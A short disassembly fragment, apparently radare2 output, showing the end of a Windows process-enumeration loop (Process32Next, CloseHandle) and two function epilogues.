call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x441e70
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ebx, dword [esp + 0x18]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret